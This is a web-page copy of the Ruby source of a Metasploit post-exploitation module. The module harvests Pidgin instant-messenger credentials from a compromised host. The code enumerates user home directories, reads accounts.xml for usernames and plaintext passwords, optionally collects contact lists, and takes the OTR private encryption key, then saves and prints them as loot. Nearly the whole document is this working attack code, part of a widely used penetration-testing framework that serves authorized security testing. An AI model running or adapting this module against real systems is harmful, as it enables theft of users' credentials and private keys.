Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/pidgin_cred.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Windows::UserProfiles
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Multi Gather Pidgin Instant Messenger Credential Collection',
17
'Description' => %q{
18
This module will collect credentials from the Pidgin IM client if it is installed.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'bannedit', # post port, added support for shell sessions
23
'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
24
],
25
'Platform' => %w[bsd linux osx unix win],
26
'SessionTypes' => ['shell', 'meterpreter' ],
27
'Compat' => {
28
'Meterpreter' => {
29
'Commands' => %w[
30
core_channel_eof
31
core_channel_open
32
core_channel_read
33
core_channel_write
34
stdapi_fs_stat
35
stdapi_sys_config_getenv
36
stdapi_sys_config_getuid
37
]
38
}
39
},
40
'Notes' => {
41
'Stability' => [CRASH_SAFE],
42
'SideEffects' => [],
43
'Reliability' => []
44
}
45
)
46
)
47
register_options(
48
[
49
OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),
50
]
51
)
52
end
53
54
# TODO: add support for collecting logs
55
def run
56
paths = []
57
case session.platform
58
when 'unix', 'linux', 'bsd'
59
@platform = :unix
60
paths = enum_users_unix
61
when 'osx'
62
@platform = :osx
63
paths = enum_users_unix
64
when 'windows'
65
@platform = :windows
66
profiles = grab_user_profiles
67
profiles.each do |user|
68
next if user['AppData'].nil?
69
70
pdir = check_pidgin(user['AppData'])
71
paths << pdir if pdir
72
end
73
else
74
print_error "Unsupported platform #{session.platform}"
75
return
76
end
77
if paths.nil? || paths.empty?
78
print_status('No users found with a .purple directory')
79
return
80
end
81
82
get_pidgin_creds(paths)
83
end
84
85
def enum_users_unix
86
if @platform == :osx
87
home = '/Users/'
88
else
89
home = '/home/'
90
end
91
92
# @todo use Msf::Post::File
93
if got_root?
94
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
95
userdirs << "/root\n"
96
else
97
userdirs = session.shell_command("ls #{home}#{whoami}/.purple")
98
if userdirs =~ /No such file/i
99
return
100
else
101
print_status("Found Pidgin profile for: #{whoami}")
102
return ["#{home}#{whoami}/.purple"]
103
end
104
end
105
106
paths = Array.new
107
userdirs.each_line do |dir|
108
dir.chomp!
109
next if dir == '.' || dir == '..'
110
111
dir = "#{home}#{dir}" if dir !~ /root/
112
print_status("Checking for Pidgin profile in: #{dir}")
113
114
stat = session.shell_command("ls #{dir}/.purple")
115
next if stat =~ /No such file/i
116
117
paths << "#{dir}/.purple"
118
end
119
return paths
120
end
121
122
def check_pidgin(purpledir)
123
print_status("Checking for Pidgin profile in: #{purpledir}")
124
125
session.fs.dir.foreach(purpledir) do |dir|
126
if dir =~ /\.purple/
127
if @platform == :windows
128
path = "#{purpledir}\\#{dir}"
129
else
130
path = "#{purpledir}/#{dir}"
131
end
132
print_status("Found #{path}")
133
return path
134
end
135
end
136
137
nil
138
end
139
140
def get_pidgin_creds(paths)
141
case paths
142
when /#{@user}\\(.*)\\/
143
sys_user = ::Regexp.last_match(1)
144
when %r{home/(.*)/}
145
sys_user = ::Regexp.last_match(1)
146
end
147
148
data = ''
149
credentials = Rex::Text::Table.new(
150
'Header' => 'Pidgin Credentials',
151
'Indent' => 1,
152
'Columns' =>
153
[
154
'System User',
155
'Username',
156
'Password',
157
'Protocol',
158
'Server',
159
'Port'
160
]
161
)
162
163
buddylists = Rex::Text::Table.new(
164
'Header' => 'Pidgin Contact List',
165
'Indent' => 1,
166
'Columns' =>
167
[
168
'System User',
169
'Buddy Name',
170
'Alias',
171
'Protocol',
172
'Account'
173
]
174
)
175
176
paths.each do |path|
177
print_status("Reading accounts.xml file from #{path}")
178
if session.type == 'shell'
179
type = :shell
180
data = session.shell_command("cat #{path}/accounts.xml")
181
else
182
type = :meterp
183
accounts = session.fs.file.new("#{path}\\accounts.xml", 'rb')
184
data << accounts.read until accounts.eof?
185
end
186
187
creds = parse_accounts(data)
188
189
if datastore['CONTACTS']
190
blist = ''
191
case type
192
when :shell
193
blist = session.shell_command("cat #{path}/blist.xml")
194
when :meterp
195
buddyxml = session.fs.file.new("#{path}/blist.xml", 'rb')
196
blist << buddyxml.read until buddyxml.eof?
197
end
198
199
buddies = parse_buddies(blist)
200
end
201
202
creds.each do |cred|
203
credentials << [sys_user, cred['user'], cred['password'], cred['protocol'], cred['server'], cred['port']]
204
end
205
206
if buddies
207
buddies.each do |buddy|
208
buddylists << [sys_user, buddy['name'], buddy['alias'], buddy['protocol'], buddy['account']]
209
end
210
end
211
212
# Grab otr.private_key
213
otr_key = ''
214
if session.type == 'shell'
215
otr_key = session.shell_command("cat #{path}/otr.private_key")
216
else
217
key_file = "#{path}/otr.private_key"
218
otrkey = begin
219
session.fs.file.stat(key_file)
220
rescue StandardError
221
nil
222
end
223
if otrkey
224
f = session.fs.file.new(key_file, 'rb')
225
otr_key << f.read until f.eof?
226
else
227
otr_key = 'No such file'
228
end
229
end
230
231
if otr_key !~ /No such file/
232
store_loot('otr.private_key', 'text/plain', session, otr_key.to_s, 'otr.private_key', 'otr.private_key')
233
print_good("OTR Key: #{otr_key}")
234
end
235
end
236
237
if datastore['CONTACTS']
238
store_loot('pidgin.contacts', 'text/plain', session, buddylists.to_csv, 'pidgin_contactlists.txt', 'Pidgin Contacts')
239
end
240
241
store_loot('pidgin.creds', 'text/plain', session, credentials.to_csv, 'pidgin_credentials.txt', 'Pidgin Credentials')
242
end
243
244
def parse_accounts(data)
245
creds = []
246
doc = REXML::Document.new(data).root
247
248
doc.elements.each('account') do |sub|
249
account = {}
250
if sub.elements['password']
251
account['password'] = sub.elements['password'].text
252
else
253
account['password'] = '<unknown>'
254
end
255
256
account['protocol'] = begin
257
sub.elements['protocol'].text
258
rescue StandardError
259
'<unknown>'
260
end
261
account['user'] = begin
262
sub.elements['name'].text
263
rescue StandardError
264
'<unknown>'
265
end
266
account['server'] = begin
267
sub.elements['settings'].elements["setting[@name='server']"].text
268
rescue StandardError
269
'<unknown>'
270
end
271
account['port'] = begin
272
sub.elements['settings'].elements["setting[@name='port']"].text
273
rescue StandardError
274
'<unknown>'
275
end
276
creds << account
277
278
print_status('Collected the following credentials:')
279
print_status(" Server: #{account['server']}:#{account['port']}")
280
print_status(" Protocol: #{account['protocol']}")
281
print_status(" Username: #{account['user']}")
282
print_status(" Password: #{account['password']}")
283
print_line
284
end
285
286
return creds
287
end
288
289
def parse_buddies(data)
290
buddies = []
291
292
doc = REXML::Document.new(data).root
293
doc.elements['blist'].elements.each('group') do |group|
294
group.elements.each('contact') do |bcontact|
295
contact = {}
296
contact['name'] = begin
297
bcontact.elements['buddy'].elements['name'].text
298
rescue StandardError
299
'<unknown>'
300
end
301
contact['account'] = begin
302
bcontact.elements['buddy'].attributes['account']
303
rescue StandardError
304
'<unknown>'
305
end
306
contact['protocol'] = begin
307
bcontact.elements['buddy'].attributes['proto']
308
rescue StandardError
309
'<unknown>'
310
end
311
312
if bcontact.elements['buddy'].elements['alias']
313
contact['alias'] = bcontact.elements['buddy'].elements['alias'].text
314
else
315
contact['alias'] = '<unknown>'
316
end
317
318
buddies << contact
319
print_status('Collected the following contacts:')
320
print_status(" Buddy Name: #{contact['name']}")
321
print_status(" Alias: #{contact['alias']}")
322
print_status(" Protocol: #{contact['protocol']}")
323
print_status(" Account: #{contact['account']}")
324
print_line
325
end
326
end
327
328
return buddies
329
end
330
331
def got_root?
332
case @platform
333
when :windows
334
if session.sys.config.getuid =~ /SYSTEM/
335
return true
336
else
337
return false
338
end
339
else # unix, bsd, linux, osx
340
ret = whoami
341
if ret =~ /root/
342
return true
343
else
344
return false
345
end
346
end
347
end
348
349
def whoami
350
if @platform == :windows
351
session.sys.config.getenv('USERNAME')
352
else
353
session.shell_command('whoami').chomp
354
end
355
end
356
end
357
358